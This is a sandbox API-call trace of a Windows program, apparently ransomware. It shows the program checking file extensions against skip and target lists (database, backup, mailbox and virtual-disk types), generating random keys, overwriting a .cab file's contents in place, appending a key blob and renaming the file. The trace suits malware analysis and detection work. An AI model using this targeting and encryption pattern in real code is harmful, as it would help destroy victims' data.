	[0077.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aad90
	[0077.158] lstrlenW (lpString=".scr") returned 4
	[0077.158] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".scr") returned 0x0
	[0077.158] lstrlenW (lpString=".cmd") returned 4
	[0077.159] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".cmd") returned 0x0
	[0077.159] lstrlenW (lpString=".dll") returned 4
	[0077.159] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".dll") returned 0x0
	[0077.159] lstrlenW (lpString=".bat") returned 4
	[0077.159] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".bat") returned 0x0
	[0077.159] lstrlenW (lpString=".cpl") returned 4
	[0077.159] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".cpl") returned 0x0
	[0077.159] lstrlenW (lpString=".sys") returned 4
	[0077.159] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".sys") returned 0x0
	[0077.159] lstrlenW (lpString=".msc") returned 4
	[0077.159] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".msc") returned 0x0
	[0077.159] lstrlenW (lpString=".com") returned 4
	[0077.159] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".com") returned 0x0
	[0077.159] lstrlenW (lpString=".lnk") returned 4
	[0077.159] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".lnk") returned 0x0
	[0077.159] lstrlenW (lpString=".msp") returned 4
	[0077.159] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".msp") returned 0x0
	[0077.159] lstrlenW (lpString=".pif") returned 4
	[0077.159] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".pif") returned 0x0
	[0077.159] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0077.159] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch="msp\r\n.pif") returned 0x0
	[0077.159] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
	[0077.160] lstrlenW (lpString=".sqb") returned 4
	[0077.160] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".sqb") returned 0x0
	[0077.160] lstrlenW (lpString=".ost") returned 4
	[0077.160] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".ost") returned 0x0
	[0077.160] lstrlenW (lpString=".txt") returned 4
	[0077.160] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".txt") returned 0x0
	[0077.160] lstrlenW (lpString=".mdt") returned 4
	[0077.160] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".mdt") returned 0x0
	[0077.160] lstrlenW (lpString=".BDB") returned 4
	[0077.160] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".BDB") returned 0x0
	[0077.160] lstrlenW (lpString=".eql") returned 4
	[0077.160] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".eql") returned 0x0
	[0077.160] lstrlenW (lpString=".DBF") returned 4
	[0077.160] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".DBF") returned 0x0
	[0077.160] lstrlenW (lpString=".EQL") returned 4
	[0077.160] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".EQL") returned 0x0
	[0077.160] lstrlenW (lpString=".FDB") returned 4
	[0077.160] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".FDB") returned 0x0
	[0077.160] lstrlenW (lpString=".EDB") returned 4
	[0077.160] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".EDB") returned 0x0
	[0077.161] lstrlenW (lpString=".DACPAC") returned 7
	[0077.161] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".DACPAC") returned 0x0
	[0077.161] lstrlenW (lpString=".VHD") returned 4
	[0077.161] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".VHD") returned 0x0
	[0077.161] lstrlenW (lpString=".DBV") returned 4
	[0077.161] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".DBV") returned 0x0
	[0077.161] lstrlenW (lpString=".dacpac") returned 7
	[0077.161] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".dacpac") returned 0x0
	[0077.161] lstrlenW (lpString=".sdf") returned 4
	[0077.161] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".sdf") returned 0x0
	[0077.161] lstrlenW (lpString=".accdb") returned 6
	[0077.161] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".accdb") returned 0x0
	[0077.161] lstrlenW (lpString=".DBX") returned 4
	[0077.161] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".DBX") returned 0x0
	[0077.161] lstrlenW (lpString=".MDT") returned 4
	[0077.161] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".MDT") returned 0x0
	[0077.161] lstrlenW (lpString=".SQB") returned 4
	[0077.161] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".SQB") returned 0x0
	[0077.161] lstrlenW (lpString=".vhd") returned 4
	[0077.161] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".vhd") returned 0x0
	[0077.161] lstrlenW (lpString=".bac") returned 4
	[0077.161] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".bac") returned 0x0
	[0077.161] lstrlenW (lpString=".mdf") returned 4
	[0077.161] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".mdf") returned 0x0
	[0077.161] lstrlenW (lpString=".BAK") returned 4
	[0077.161] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".BAK") returned 0x0
	[0077.161] lstrlenW (lpString=".BAC") returned 4
	[0077.162] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".BAC") returned 0x0
	[0077.162] lstrlenW (lpString=".dbs") returned 4
	[0077.162] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".dbs") returned 0x0
	[0077.162] lstrlenW (lpString=".vhdx") returned 5
	[0077.162] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".vhdx") returned 0x0
	[0077.162] lstrlenW (lpString=".NDF") returned 4
	[0077.162] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".NDF") returned 0x0
	[0077.162] lstrlenW (lpString=".dat") returned 4
	[0077.162] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".dat") returned 0x0
	[0077.162] lstrlenW (lpString=".DBS") returned 4
	[0077.162] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".DBS") returned 0x0
	[0077.162] lstrlenW (lpString=".CKP") returned 4
	[0077.162] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".CKP") returned 0x0
	[0077.162] lstrlenW (lpString=".edb") returned 4
	[0077.162] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".edb") returned 0x0
	[0077.162] lstrlenW (lpString=".PST") returned 4
	[0077.162] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".PST") returned 0x0
	[0077.162] lstrlenW (lpString=".dbf") returned 4
	[0077.162] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".dbf") returned 0x0
	[0077.162] lstrlenW (lpString=".SQL") returned 4
	[0077.162] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".SQL") returned 0x0
	[0077.162] lstrlenW (lpString=".pst") returned 4
	[0077.162] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".pst") returned 0x0
	[0077.162] lstrlenW (lpString=".dbv") returned 4
	[0077.162] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".dbv") returned 0x0
	[0077.162] lstrlenW (lpString=".SDF") returned 4
	[0077.163] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".SDF") returned 0x0
	[0077.163] lstrlenW (lpString=".dtxs") returned 5
	[0077.163] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".dtxs") returned 0x0
	[0077.163] lstrlenW (lpString=".db3") returned 4
	[0077.163] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".db3") returned 0x0
	[0077.163] lstrlenW (lpString=".OST") returned 4
	[0077.163] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".OST") returned 0x0
	[0077.163] lstrlenW (lpString=".dbx") returned 4
	[0077.163] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".dbx") returned 0x0
	[0077.163] lstrlenW (lpString=".DB3") returned 4
	[0077.163] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".DB3") returned 0x0
	[0077.163] lstrlenW (lpString=".DAT") returned 4
	[0077.163] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".DAT") returned 0x0
	[0077.163] lstrlenW (lpString=".VHDX") returned 5
	[0077.163] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".VHDX") returned 0x0
	[0077.163] lstrlenW (lpString=".ndf") returned 4
	[0077.163] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".ndf") returned 0x0
	[0077.163] lstrlenW (lpString=".DB") returned 3
	[0077.163] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".DB") returned 0x0
	[0077.163] lstrlenW (lpString=".sql") returned 4
	[0077.163] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".sql") returned 0x0
	[0077.163] lstrlenW (lpString=".MYD") returned 4
	[0077.163] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".MYD") returned 0x0
	[0077.163] lstrlenW (lpString=".DBT") returned 4
	[0077.163] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".DBT") returned 0x0
	[0077.163] lstrlenW (lpString=".ACCDB") returned 6
	[0077.164] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".ACCDB") returned 0x0
	[0077.164] lstrlenW (lpString=".fdb") returned 4
	[0077.164] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".fdb") returned 0x0
	[0077.164] lstrlenW (lpString=".bak") returned 4
	[0077.164] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".bak") returned 0x0
	[0077.164] lstrlenW (lpString=".myd") returned 4
	[0077.164] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".myd") returned 0x0
	[0077.164] lstrlenW (lpString=".DTXS") returned 5
	[0077.164] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".DTXS") returned 0x0
	[0077.164] lstrlenW (lpString=".ckp") returned 4
	[0077.164] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".ckp") returned 0x0
	[0077.164] lstrlenW (lpString=".dbt") returned 4
	[0077.164] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".dbt") returned 0x0
	[0077.164] lstrlenW (lpString=".db") returned 3
	[0077.164] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".db") returned 0x0
	[0077.164] lstrlenW (lpString=".TXT") returned 4
	[0077.164] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".TXT") returned 0x0
	[0077.164] lstrlenW (lpString=".MDF") returned 4
	[0077.164] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".MDF") returned 0x0
	[0077.164] lstrlenW (lpString=".bdb") returned 4
	[0077.164] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".bdb") returned 0x0
	[0077.164] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0077.164] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0077.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0077.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0077.165] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0077.166] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0077.166] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0077.166] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0077.166] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0077.166] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x27f2050
	[0077.166] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=19715625611) returned 1
	[0077.257] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x97f19cd0, dwHighDateTime=0x1d60e1e)) 
	[0077.257] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0077.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0077.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0077.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac7b0
	[0077.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0077.258] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac7b0 | out: hHeap=0x300000) returned 1
	[0077.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0077.258] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0077.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7450
	[0077.258] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0077.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7850
	[0077.258] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7450 | out: hHeap=0x300000) returned 1
	[0077.258] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0077.258] GetLastError () returned 0x0
	[0077.259] GetLastError () returned 0x0
	[0077.259] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0077.259] GetLastError () returned 0x0
	[0077.259] GetLastError () returned 0x0
	[0077.259] ReadFile (in: hFile=0x130, lpBuffer=0x2824fd8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0077.293] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0077.294] WriteFile (in: hFile=0x130, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0077.298] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0077.298] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0077.298] WriteFile (in: hFile=0x130, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0077.301] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0077.301] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0077.301] CloseHandle (hObject=0x130) returned 1
	[0077.301] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a46c0
	[0077.301] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.~~~~" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab.~~~~")) returned 1
	[0077.302] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a46c0 | out: hHeap=0x300000) returned 1
	[0077.302] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0077.302] GetLastError () returned 0x0
	[0077.305] RtlWakeConditionVariable () returned 0x365f70
	[0077.305] GetCurrentThreadId () returned 0x9cc
	[0077.305] GetCurrentThreadId () returned 0x9cc
	[0077.305] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28078b0
	[0077.305] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab228 | out: hHeap=0x300000) returned 1
	[0077.305] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac890 | out: hHeap=0x300000) returned 1
	[0077.305] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab228
	[0077.306] lstrlenW (lpString=".scr") returned 4
	[0077.306] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll", lpSrch=".scr") returned 0x0
	[0077.306] lstrlenW (lpString=".cmd") returned 4
	[0077.306] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll", lpSrch=".cmd") returned 0x0
	[0077.306] lstrlenW (lpString=".dll") returned 4
	[0077.306] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll", lpSrch=".dll") returned=".dll"
	[0077.306] lstrlenW (lpString=".dll") returned 4
	[0077.306] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab228 | out: hHeap=0x300000) returned 1
	[0077.306] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28078b0 | out: hHeap=0x300000) returned 1
	[0077.306] RtlWakeConditionVariable () returned 0x365f70
	[0077.306] GetCurrentThreadId () returned 0x9cc
	[0077.306] GetCurrentThreadId () returned 0x9cc
	[0077.306] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b3ae0
	[0077.306] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3acca8 | out: hHeap=0x300000) returned 1
	[0077.306] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac8c8 | out: hHeap=0x300000) returned 1
	[0077.307] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b36f8
	[0077.307] lstrlenW (lpString=".scr") returned 4
	[0077.307] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".scr") returned 0x0
	[0077.307] lstrlenW (lpString=".cmd") returned 4
	[0077.307] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".cmd") returned 0x0
	[0077.307] lstrlenW (lpString=".dll") returned 4
	[0077.307] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".dll") returned 0x0
	[0077.307] lstrlenW (lpString=".bat") returned 4
	[0077.307] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".bat") returned 0x0
	[0077.307] lstrlenW (lpString=".cpl") returned 4
	[0077.307] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".cpl") returned 0x0
	[0077.307] lstrlenW (lpString=".sys") returned 4
	[0077.307] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".sys") returned 0x0
